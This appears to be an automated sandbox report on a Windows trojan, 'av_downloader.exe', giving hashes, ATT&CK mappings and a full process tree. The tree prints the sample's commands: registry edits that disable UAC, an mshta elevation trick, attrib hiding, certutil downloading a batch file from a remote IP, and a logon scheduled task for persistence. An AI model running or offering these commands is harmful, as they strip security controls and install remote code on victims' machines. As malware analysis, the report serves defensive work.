d925204430ffab51ffbbb9dc90bc224b04f0c2196769850695512245a886be06

General

Target

av_downloader.exe
Size

90KB
MD5

8af4f985862c71682e796dcc912f27dc
SHA1

7f83117abfeff070d41d8144cf1dfe3af8607d27
SHA256

d925204430ffab51ffbbb9dc90bc224b04f0c2196769850695512245a886be06
SHA512

3d4fcd9755dc4ea005fcd46e78426c5f71b50873c5174a69abcdff41a2e0405c87a36137c0c2409abedadb0ecdf622cbfd2fa1b59a2e06c81cef68d7c6c663b7
SSDEEP

1536:v7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfnweJbOC:D7DhdC6kzWypvaQ0FxyNTBfnBV

Score

10^/10

evasion trojan

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1952	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\e:	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2124	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2608	timeout.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3396 wrote to memory of 3444	3396	av_downloader.exe	85
PID 3396 wrote to memory of 3444	3396	av_downloader.exe	85
PID 3444 wrote to memory of 4856	3444	cmd.exe	86
PID 3444 wrote to memory of 4856	3444	cmd.exe	86
PID 4856 wrote to memory of 2304	4856	mshta.exe	88
PID 4856 wrote to memory of 2304	4856	mshta.exe	88
PID 4856 wrote to memory of 2304	4856	mshta.exe	88
PID 2304 wrote to memory of 3220	2304	AV_DOW~1.EXE	91
PID 2304 wrote to memory of 3220	2304	AV_DOW~1.EXE	91
PID 3220 wrote to memory of 3832	3220	cmd.exe	92
PID 3220 wrote to memory of 3832	3220	cmd.exe	92
PID 3220 wrote to memory of 836	3220	cmd.exe	93
PID 3220 wrote to memory of 836	3220	cmd.exe	93
PID 3220 wrote to memory of 3964	3220	cmd.exe	94
PID 3220 wrote to memory of 3964	3220	cmd.exe	94
PID 3220 wrote to memory of 1952	3220	cmd.exe	95
PID 3220 wrote to memory of 1952	3220	cmd.exe	95
PID 3220 wrote to memory of 1720	3220	cmd.exe	97
PID 3220 wrote to memory of 1720	3220	cmd.exe	97
PID 3220 wrote to memory of 3704	3220	cmd.exe	99
PID 3220 wrote to memory of 3704	3220	cmd.exe	99
PID 3220 wrote to memory of 2124	3220	cmd.exe	100
PID 3220 wrote to memory of 2124	3220	cmd.exe	100
PID 3220 wrote to memory of 2608	3220	cmd.exe	101
PID 3220 wrote to memory of 2608	3220	cmd.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\av_downloader.exe
"C:\Users\Admin\AppData\Local\Temp\av_downloader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3396
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\608F.tmp\6090.tmp\6091.bat C:\Users\Admin\AppData\Local\Temp\av_downloader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\mshta.exe
    mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE
      "C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE" goto :target
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2304
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\62A2.tmp\62A3.tmp\62A4.bat C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE goto :target"
        5⤵
        Enumerates connected drives
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:3832
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:836
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:3964
      - C:\Windows\system32\attrib.exe
        
        attrib +s +h e:\net
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1952
      - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://206.217.142.166:1234/windows/dr/dr.bat e:\net\dr\dr.bat
        6⤵
        
        PID:1720
      - C:\Windows\system32\certutil.exe
        
        certutil -urlcache * delete
        6⤵
        
        PID:3704
      - C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "e:\net\dr\dr.bat" /f
        6⤵
        Creates scheduled task(s)
        
        PID:2124
      - C:\Windows\system32\timeout.exe
        
        TIMEOUT /T 100
        6⤵
        Delays execution with timeout.exe
        
        PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D91B1967EF3D6973EA9AE658EC3C1C5D

Filesize
1KB

MD5
ce802b6e8add0c59b4c1ceea614bafa3

SHA1
06bfafde5c85d2ea230ebccf8db6f0d9e39520a1

SHA256
419010826148482cca4ad662fdbdc8eac445b4b6181e4a1f4b62d7eb7783f4e2

SHA512
8acd430a20f444bd2fc45b059805cb608d19e95edd60576340dcbce99072e6e58be43fc0bd61c031698279c964f748ffebf01ef94a7c7e90f02b2b0f041fe6e8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D91B1967EF3D6973EA9AE658EC3C1C5D

Filesize
248B

MD5
ed13113f252798a9991a5a50c79f9f9e

SHA1
0253042661dc7530de24a53e91824d3b9a2f87ea

SHA256
9d67bdbec09f774e34a652e73ccbd7701c791699fe34b4e15e115aa1305456da

SHA512
5116e943af13b64dc8ec660b5a4403d7eec7b7b61b8f2e97c8321741df1ef14c248a19de6342e9af387ec0f5605ea5490a410f8ef82c5188469f7a7454d897bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\608F.tmp\6090.tmp\6091.bat

Filesize
965B

MD5
db5421114f689cfb1c82edf49fddd7a4

SHA1
a1987cfe0b38bdac3fe75bae72137463a0843fac

SHA256
edb8e629e2c5ae4498d0f00cb4540f185cf6136ba11898a542d2fdd34394379a

SHA512
6eaf5f71787046951ffc1fe98c3fdae7dd5a36214cf4971146a94d200bbf2037a8f87e1afa81e05b2d34083d298b0254ac23d2b2e518b6e75fab38e5ca376281

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads